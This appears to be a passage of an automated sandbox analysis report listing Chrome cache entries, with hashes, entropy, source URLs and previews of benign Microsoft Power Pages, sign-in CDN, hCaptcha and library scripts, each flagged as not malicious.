h)(s=t[n]\|\|t.getAttribute&&t.getAttribute(n))&&r.setAttribute(n,s);i.head.appendChild(r).parentNode.removeChild(r)}funct

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	dropped
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Reputation:	low
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48395)
Category:	dropped
Size (bytes):	48444
Entropy (8bit):	5.284267981780026
Encrypted:	false
SSDEEP:	768:7d+Ny2FO7PjQSF/ZIvAfXCPwCo5eI9jNfTH06AV+HoUoLoYSSd+4S9rBfpuiWUD:7d+NdFQrLF5ekRH06loUoLoz4Kr7uiW4
MD5:	6027D51DC3F9461C3B5AB3A1F8C5BEED
SHA1:	9787028F6B186F85580729694A1ED66DAE58B5F5
SHA-256:	C108037861ED8A7BD3CD188CC6DA3F7DC4103207B2C77B7E439F33DFA9334309
SHA-512:	59D2F7FA229810027D9D82AFC1FB17FE20FE5172E596C204D274B65E5CA887A6FD4F9736787EE1413ACA4F7324198183FAB2F0D41D9889D3F0902E905A14B894
Malicious:	false
Reputation:	low
Preview:	(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[448],{9448:(t,e,r)=>{"use strict";function n(t){for(var e=arguments.length,r=Array(e>1?e-1:0),n=1;n<e;n++)r[n-1]=arguments[n];throw Error("[Immer] minified error nr: "+t+(r.length?" "+r.map((function(t){return"'"+t+"'"})).join(","):"")+". Find the full error at: https://bit.ly/3cXEKWf")}function o(t){return!!t&&!!t[V]}function i(t){var e;return!!t&&(function(t){if(!t\|\|"object"!=typeof t)return!1;var e=Object.getPrototypeOf(t);if(null===e)return!0;var r=Object.hasOwnProperty.call(e,"constructor")&&e.constructor;return r===Object\|\|"function"==typeof r&&Function.toString.call(r)===J}(t)\|\|Array.isArray(t)\|\|!!t[Y]\|\|!!(null===(e=t.constructor)\|\|void 0===e?void 0:e[Y])\|\|p(t)\|\|h(t))}function a(t,e,r){void 0===r&&(r=!1),0===u(t)?(r?Object.keys:X)(t).forEach((function(n){r&&"symbol"==typeof n\|\|e(n,t[n],t)})):t.forEach((function(r,n){return e(n,r,t)}))}function u(t){var e=t[V];return e?e.i>3?e.i-4

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64184)
Category:	downloaded
Size (bytes):	123137
Entropy (8bit):	5.264209559921666
Encrypted:	false
SSDEEP:	1536:MvCh/HoX9IPAhokiWLtfHf18Ob3mhHayUde/wYnd8AqqJN4:Mqh/HWxJ8OLmBUI7nd8AqqA
MD5:	76D43A9405CE1A4618FF0A86BECBA682
SHA1:	556ACEAE8396531440488D48302636CB02288CBC
SHA-256:	D636393DA268FA543FC3F05A5405E53E26BF4101EA929ECCD401707B5A6C75B4
SHA-512:	2BEFC43D0F4FC8B6E055ADB458DC07782EBF55FAE1E5C69CD03A8A6744D735180D56AABAF315743979511EF911C58167DD3D1890716D9EAE316604957C7A65C5
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/host/867.0578a1c628.chunk.js
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[867],{7121:e=>{./.object-assign.(c) Sindre Sorhus.@license MIT./.var t=Object.getOwnPropertySymbols,n=Object.prototype.hasOwnProperty,r=Object.prototype.propertyIsEnumerable;e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},n=0;n<10;n++)t["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(t).map((function(e){return t[e]})).join(""))return!1;var r={};return"abcdefghijklmnopqrst".split("").forEach((function(e){r[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},r)).join("")}catch(e){return!1}}()?Object.assign:function(e,l){for(var i,a,o=function(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}(e),u=1;u<arguments.length;u++){for(var c in i=Object(arguments[u]))n.call(i,c)&&(o[c]=i[c

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61300)
Category:	dropped
Size (bytes):	164727
Entropy (8bit):	5.527686835651098
Encrypted:	false
SSDEEP:	1536:8819/khfi8Wo6f6uaCovOzAJhMRnjGhfQLEaXDGxcj+F7LwuojNfsqbc0Vzmwb54:9iIujhaXDCAfdnOATEIVA
MD5:	11A5A914937B75288F59799624B22C41
SHA1:	FA1304A3AAE266ECEEA76FF1BED1D2894DAF19F2
SHA-256:	0D123D26B7574F73FADFC2B904E098C4977CAFFFBA55A94F547ED5B23EBC4169
SHA-512:	51D67B6EC53CADDA946FFFA3BC82F3D5355E15407FDFF9EE9F01ABFAC91987EE1144016DB1BB15E9A502C1BE45D00CE25202D426707A8BC118627D2C37E2D811
Malicious:	false
Reputation:	low
Preview:	(function(e,a){var r=[];function n(t,r){var n=a.Deferred();(function e(){a.ajax(t).done(n.resolve).fail(function(){console.log("AjaxRetry attempt :".concat(r));r--;if(r>0){e()}else{n.rejectWith(this,arguments)}})})();return n.promise()}function t(){var e=a.Deferred();var t=a('#antiforgerytoken input[name="__RequestVerificationToken"]').val();if(!t){r.push(e);if(r.length===1){n({type:"GET",url:a("#antiforgerytoken").attr("data-url"),cache:false},3).done(function(e){a("#antiforgerytoken").empty().append(e);t=a('#antiforgerytoken input[name="__RequestVerificationToken"]').val();r.forEach(function(e){e.resolve(t)});r=[]}).fail(function(e){if(e&&e.responseText){var t="GetAntiForgeryToken failed".concat("Details: ",e.responseText);console.log(t);ClientLogWrapper.getLogger().traceError(t,"antiforgerytoken","","GetTokenDeferred")}r.forEach(function(e){e.reject()});r=[]})}}else{e.resolve(t)}return e.promise()}function i(){var e=a("#antiforgerytoken").attr("data-url");n({type:"GET",url:e,cache:f

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7625)
Category:	dropped
Size (bytes):	7674
Entropy (8bit):	5.1936693801975675
Encrypted:	false
SSDEEP:	192:UTJC2XKnFFW+m8cy67ko0MIs6P41xBJdRc5P+06JQ5NnG36T:UTJ1KFkfi67DIPaxVKPeanW6T
MD5:	FBAA8BF626C7A370536A67E0E49FBF2A
SHA1:	2E271B643612210C73D4DB20A3E7771830A922C0
SHA-256:	C83EE49A30249601960E9B2E2502A41128423F46517BF01E36052EA082317830
SHA-512:	2A77B33E37AC901049B0302BEA89A97FB8B21FF9DAFA422FE3CB20693BEE0F65610581BBA1D260D416FF650CEA2022857FED202610F205CB315C4FDB24ACBF18
Malicious:	false
Reputation:	low
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_mf_shared=self.webpackChunk_microsoft_powerpages_mf_shared\|\|[]).push([[465],{4465:(e,t,r)=>{r.r(t),r.d(t,{immer:()=>G});var n=Symbol.for("immer-nothing"),o=Symbol.for("immer-draftable"),i=Symbol.for("immer-state");function c(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var s=Object.getPrototypeOf;function a(e){return!!e&&!!e[i]}function u(e){return!!e&&(_(e)\|\|Array.isArray(e)\|\|!!e[o]\|\|!!e.constructor?.[o]\|\|y(e)\|\|b(e))}var f=Object.prototype.constructor.toString();function _(e){if(!e\|\|"object"!=typeof e)return!1;const t=s(e);if(null===t)return!0;const r=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;return r===Object\|\|"function"==typeof r&&Function.toString.call(r)===f}function l(e,t){0===p(e)?Object.entries(e).forEach((([r,n])=>{t(r,n,e)})):e.forEach(((r,n)=>t(n,r,e)))}function p(e){const t=e[i];return t?t.type_:Array.isArray(e)?1:y(e)?2:b(e)?3:0}function d(e,t){return

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 78 x 85, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPlMN8gV//xl/k4E08up:6v/lhPKu2//7Tp
MD5:	77A5A248169E0E2819DE6D7449ED3FE2
SHA1:	8359EE002788D29BCAF2810E896B6A8160228175
SHA-256:	3EC0205140685545F64652BE0DE80148BD9E1107D7A400409C354747F089E4EF
SHA-512:	3D893826A1F34A87DA915D3AA12E4E151C237C9A088243B72D300D30A37A86C875A78781B0BF03F1C74A3275CA287B0ECADBE19E3ADE76B2D88D1372CBFE029B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/902675a0487a1a24/1736950335261/8s4RuyBLjGfE4Cq
Preview:	.PNG........IHDR...N...U.....h.E.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (41492)
Category:	dropped
Size (bytes):	150871
Entropy (8bit):	5.408911509045047
Encrypted:	false
SSDEEP:	3072:YwlL47MnAPaiA28udRCe/fX2MkdF5kpjmeL1ZVplqpU:YwlgMgaiA28uZ/P2MkdF5cL1/plqpU
MD5:	00961FDA46ADB7932E321C77108E4608
SHA1:	B23746E1E5396860C9E39F115B2EBE833DFB4335
SHA-256:	7074FCC5965D770C7A0BDF9FA8A772D8538F55C60802196898DACC42CC604F56
SHA-512:	4E3106CFFF8E5F39B95F5E22213D7A24F2565368BFDAEBC5CE591492C470EF0CAA966F8F577291FCE195332B6BEDB4C96DCF45C0B118AB1FAE6EB8558CE98F8A
Malicious:	false
Reputation:	low
Preview:	/* { "version": "0", "hash": "MEYCIQCKfI2ly7Jm3XD62jSMYfVSQAHfPSaDlyODBl57VFOMGAIhAOIPjz4wzy08FaJfDRdMuPcTBybvAAdY7u3iXEqW9JUj" } /./ https://hcaptcha.com/license */.!function(){"use strict";function e(e){var t=this.constructor;return this.then((function(n){return t.resolve(e()).then((function(){return n}))}),(function(n){return t.resolve(e()).then((function(){return t.reject(n)}))}))}function t(e){return new this((function(t,n){if(!e\|\|"undefined"==typeof e.length)return n(new TypeError(typeof e+" "+e+" is not iterable(cannot read property Symbol(Symbol.iterator))"));var r=Array.prototype.slice.call(e);if(0===r.length)return t([]);var i=r.length;function o(e,n){if(n&&("object"==typeof n\|\|"function"==typeof n)){var a=n.then;if("function"==typeof a)return void a.call(n,(function(t){o(e,t)}),(function(n){r[e]={status:"rejected",reason:n},0==--i&&t(r)}))}r[e]={status:"fulfilled",value:n},0==--i&&t(r)}for(var a=0;a<r.length;a++)o(a,r[a])}))}var n=setTimeout,r="undefined"!=typeof setImmedi

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwkOAh3i7LQ5lBIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65393), with CRLF line terminators
Category:	downloaded
Size (bytes):	220208
Entropy (8bit):	5.484910445867268
Encrypted:	false
SSDEEP:	3072:i2LKvN5l5g7MwLG4XblC85EViTuTNdO4+ZsCE2OhqZGEwENIGRQ:BLKvDIAcOViST7O4kHE2m4e
MD5:	ECBF4AB0D0CA4064D3D18A524CF98318
SHA1:	5D09A46D8CB4B306868E12D9D031D879C55A3708
SHA-256:	11F2BCC472B9619DD37DA32533FB968338193AFA59A822C69FD9929E3CDEE834
SHA-512:	D2F8CD2179D335CB061717F6426E08C8F2F097181F507CB37C30C521AE3B7ECBF06172FBA8BC3F8CAE4200894190DA8567ED42783E66B6AC240A41BFBCFE1482
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/client-telemetry.bundle-ecbf4ab0d0.js
Preview:	/!.. 1DS JS SDK Analytics Web, 3.2.8.. * Copyright (c) Microsoft and contributors. All rights reserved... * (Microsoft Internal Only).. */..var e=this,t=function(n){"use strict";var u="function",s="object",fe="undefined",f="prototype",l="hasOwnProperty",g=Object,v=g[f],y=g.assign,T=g.create,e=g.defineProperty,I=v[l],b=null;function C(e){e=!1===(e=void 0===e\|\|e)?null:b;return e\|\|((e=(e=(e=typeof globalThis!==fe?globalThis:e)\|\|typeof self===fe?e:self)\|\|typeof window===fe?e:window)\|\|typeof global===fe\|\|(e=global),b=e),e}function S(e){throw new TypeError(e)}function M(e){var t;return T?T(e):null==e?{}:((t=typeof e)!==s&&t!==u&&S("Object prototype may only be an Object:"+e),n[f]=e,new n);function n(){}}(C()\|\|{}).Symbol,(C()\|\|{}).Reflect;var N=y\|\|function(e){for(var t,n=1,i=arguments.length;n<i;n++)for(var r in t=arguments[n])v[l].call(t,r)&&(e[r]=t[r]);return e},w=function(e,t){return(w=g.setPrototypeOf\|\|({__proto__:[]}instanceof Array?function(e,t){e.__proto__=t}:function(e,t){for(var n

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	30149
Entropy (8bit):	5.083743343936363
Encrypted:	false
SSDEEP:	768:Sws4L3Ak+wcXSfDKtH8Ytq7CjBpX92HA30/jRiF:Sz9if6jBpXUHA30/jR8
MD5:	59380F382417BF76CCD73D0E7FC38B7E
SHA1:	9A1227F495EDF0331145EE9FEE187F2F0D1E00B5
SHA-256:	2FD89992331C73B2D2383CB19D799425B42AF4EE09290B65B380C29F2412F3C8
SHA-512:	E6389F488969BE28AEC5A734681A47028E50323FF6D4E4A2C6B798B3073FDD0392195F8C367E8ED5515F9DB23A19D30FED0DD5E676F5E0F6B2B818E1497185AE
Malicious:	false
Reputation:	low
Preview:	....window.ResourceManager = {.. 'Cms_Sitemapchildren_Update_Label' : "Children", .. 'EntityGrid_Url_NotFound' : "A required service URL wasn\u0027t provided.",.. 'FileBrowser_Header_Label' : "Choose a file.",.. 'ADX_EventSchedule_AcceptableDays' : "Acceptable days",.. 'Confirm_DeleteMultiple_Entity' : "Are you sure you want to delete these records?",.. 'ADX_Blog_ShortName' : "blog",.. 'ADX_BlogPost_ShortName' : "blog post",.. 'Entity_Create_ADX_BlogPost_Label' : "Blog post",.. 'Entity_Create_ADX_Blog_Label' : "Child blog",.. 'Entity_Create_ADX_Event_Label' : "Child event",.. 'Entity_Create_ADX_CommunityForum_Label' : "Child forum",.. 'Editable_DeleteMultiple_Tooltip_Suffix_Singular' : "Child record?",.. 'Editable_DeleteMultiple_Tooltip_Suffix_Plural' : "Child records?",.. 'Entity_Create_ADX_Shortcut_Label' : "Child shortcut",.. 'ADX_BlogPostComment_ShortName' : "comment",.. 'ADX_PageComment_ShortName' : "comment",... 'Entity_Create_ADX_BlogPost_Tooltip' : "Create a new blog post",..

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	dropped
Size (bytes):	116345
Entropy (8bit):	7.997378915283506
Encrypted:	true
SSDEEP:	3072:svJ27JKT4KNXDBEeFUNHE/7SVxX7RLTMMqfC4:L7KPDBEeF2HE+J5AMqfC4
MD5:	7570EB58C2BCE45B24EA431EB15D27B5
SHA1:	0DE0A6616E6BF7B045CFC456E4E3DF6760617CFA
SHA-256:	5AEE6747482DFC52A669CAED6BE1B9319536AC9514C2D7354B879F093ABB212A
SHA-512:	696D4C3765DA2936461D15C89A41F98EDED30F202C422143D921D6096D7DD6456479F48B1065398323F7DFE60B5D3452B0C3C67DD01EE041E51CFBCA9125D86D
Malicious:	false
Reputation:	low
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,..O.b>.6-......c7.}.yp.c5.R6p..E...z3.......y7.d.M..K...n.h...OX.&..d.[/...ng.S.Ae..D<.GAe..&.^7......'..b...#..X..q....O.~W.M3.+b..m.>&^t.O..I.LU.;..a....&.k.$...{.{.^.....3OX.Oy8O...f.%..o..]..9....Ln-...'.....A.3y..v=l....G......i..../...--k...p..m..Y........XV...i.......;.o..zyc@..MLoy.b_.,.....5..w=..#.^..M.P.'<_.j...m..\|......0...w../...>\...l.>.....h...q>.w...ZM[...

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (967)
Category:	dropped
Size (bytes):	4134
Entropy (8bit):	5.29650274014092
Encrypted:	false
SSDEEP:	96:1P/Pz9qOgLCe7Ngo4XGHQEDH9Hv6j7Ct9gIt+Iccf/y3SI8V9B4pT28WCV:bqtXxgo4XGHtHv6j7s9tzy3WzW
MD5:	7A2EF769677E18EAD3D12FAE8D4115D0
SHA1:	AA4CEE6B17E340F9115A15FA5D4C955A570A9D9A
SHA-256:	5F2DC19AAE1F3EB6725226ED863F8259B6EB12A0916D75D44C29313DE631E4D8
SHA-512:	28E390C3219585FE10BB0E3ED87771EBBFBCC375E04B6AC96687663EDE67232F09A5C6A9816C23C9CBE77C59DEC99BE7075365A51AD5FEAC6E0A3085333817BB
Malicious:	false
Reputation:	low
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_mf_shared=self.webpackChunk_microsoft_powerpages_mf_shared\|\|[]).push([[753],{6753:(t,e,n)=>{n.r(e),n.d(e,{usePagesStore:()=>f});var o=n(2487),r=n(3954),a=n(6064);const{useSyncExternalStoreWithSelector:u}=a;let s=!1;const i=t=>{"function"!=typeof t&&console.warn("[DEPRECATED] Passing a vanilla store will be unsupported in a future version. Instead use `import { useStore } from 'zustand'`.");const e="function"==typeof t?(0,o.createStore)(t):t,n=(t,n)=>function(t,e=t.getState,n){n&&!s&&(console.warn("[DEPRECATED] Use `createWithEqualityFn` instead of `create` or use `useStoreWithEqualityFn` instead of `useStore`. They can be imported from 'zustand/traditional'. https://github.com/pmndrs/zustand/discussions/1937"),s=!0);const o=u(t.subscribe,t.getState,t.getServerState\|\|t.getState,e,n);return(0,r.useDebugValue)(o),o}(e,t,n);return Object.assign(n,e),n},c=t=>t?i(t):i;var l=n(3768);./!. Copyright (C) Microsoft Corporation. All rights re

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142534
Category:	downloaded
Size (bytes):	49954
Entropy (8bit):	7.99493321471063
Encrypted:	true
SSDEEP:	1536:vr2T/4LxF17O6lJgX3ys65sBcY++i0RumwzV:Cz4LL1imP56m+i+umwzV
MD5:	E16AC075AC754DBD1CF969508220E30D
SHA1:	69A91FF7A1C044231D6D28B4DD4C6AD3D34F2A50
SHA-256:	E8AC3DCEF9E67CC776542A40C71B719D41668DF41D294C1A49A5AD23C5A5B5EC
SHA-512:	12C4E6E5BD999E7BF431DCA707DA4BB5193D2795DD139DCAFC38CAFA757A88F75068D3F2821840068247B9F6CFB55178EF223CDB3349444E622EA4A8E69700A6
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.545914521951841
Encrypted:	false
SSDEEP:	3:eE7NNpRkTUdFQALvBgn:b7NNpwUYALvBg
MD5:	E9E06BD908E7D11B2DBB948AE94240F9
SHA1:	B7D9E792499009E11AC5F9CDB8F4F48213C50393
SHA-256:	6DE1B066A9275A163E098423585D83D89146536C718BECD1F4CE7BB70BC9B133
SHA-512:	4B471AD12F162FC5F39BE8BAEBAA4E438C7D312FFF4434434DEA6EE0A3C87078901680D0228A8EA2EE861E692A7A193EE75E7C7259848718F03CF86878324F4F
Malicious:	false
Reputation:	low
Preview:	{. "hash": "/host/main.04a618205e.chunk.js".}

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	48
Entropy (8bit):	4.545914521951841
Encrypted:	false
SSDEEP:	3:eE7NNpRkTUdFQALvBgn:b7NNpwUYALvBg
MD5:	E9E06BD908E7D11B2DBB948AE94240F9
SHA1:	B7D9E792499009E11AC5F9CDB8F4F48213C50393
SHA-256:	6DE1B066A9275A163E098423585D83D89146536C718BECD1F4CE7BB70BC9B133
SHA-512:	4B471AD12F162FC5F39BE8BAEBAA4E438C7D312FFF4434434DEA6EE0A3C87078901680D0228A8EA2EE861E692A7A193EE75E7C7259848718F03CF86878324F4F
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/host/manifest-0.2.0.json
